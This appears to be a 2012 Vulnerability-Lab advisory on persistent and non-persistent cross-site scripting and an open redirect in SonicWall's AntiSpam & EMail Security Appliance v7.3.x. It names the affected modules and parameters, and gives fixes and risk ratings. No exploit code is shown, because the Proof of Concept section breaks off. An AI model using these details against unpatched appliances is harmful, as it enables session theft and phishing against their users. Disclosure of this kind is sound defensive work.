Abstract:
=========
Vulnerability-Lab Team discovered multiple Web Vulnerabilities on SonicWalls
AntiSpam & EMail Security Appliance Application v7.x.
Report-Timeline:
================
2012-01-07: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
SonicWall
Product: AntiSpam & EMail Security Appliance Application v7.3.1 & older versions
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
A persistent input validation vulnerability is detected on SonicWalls AntiSpam
& EMail Security Appliance Application v7.3.x.
Remote attackers or low privileged user accounts can manipulate specific
application requests via persistent script code inject
& low required user inter action. Successful exploitation can result in session
hijacking, persistent context manipulation, application side phishing.
Vulnerable Module(s):
[+] MGMTUser Delegate
1.2
A non-persistent input validation vulnerability is detected on SonicWalls
AntiSpam & EMail Security Appliance Application.
Remote attackers can force via high required user inter action client-side
requests to steal session data(cookies).
Vulnerable Module(s):
[+] MTA Queue Report
Picture(s):
../ive1.png
1.3
A redirection vulnerability is detected on SonicWalls AntiSpam & EMail Security
Appliance Application.
The vulnerability allows an attacker to implement a malicious extern website
into the panel website. The redirect is exploitable via direction value.
Vulnerable Module(s):
[+] User Mail View
Picture(s):
../redirect.png
Affected Version(s):
SonicWall AntiSpam & EMail Security Appliance Application - v7.3.x or
v7.3.4.5725 & older versions
Typus: AntiSpam & EMail Security Appliance; Comphresive Box; Unified Threat
Management Appliance
Proof of Concept:
=================
This vulnerabilities can be exploited by local or remote attackers. For
demonstration or reproduce ...

Solution:
=========
1.1
Restrict the input fields via filter or mask & parse the input/output section
to patch the persistent script code injection bug.
1.2
Parse the hostname value of the vulnerable module to fix the client side cross
site scripting issue.
1.3
Restrict the direction request value to fix the redirection bug.
Risk:
=====
1.1
The security risk of the persistent script code inject vulnerability is
estimated as high(-).
1.2
The security risk of the non-persistent vulnerabilities are estimated as
medium(-).
1.3
The security risk of the redirection vulnerability is estimated as low(-).
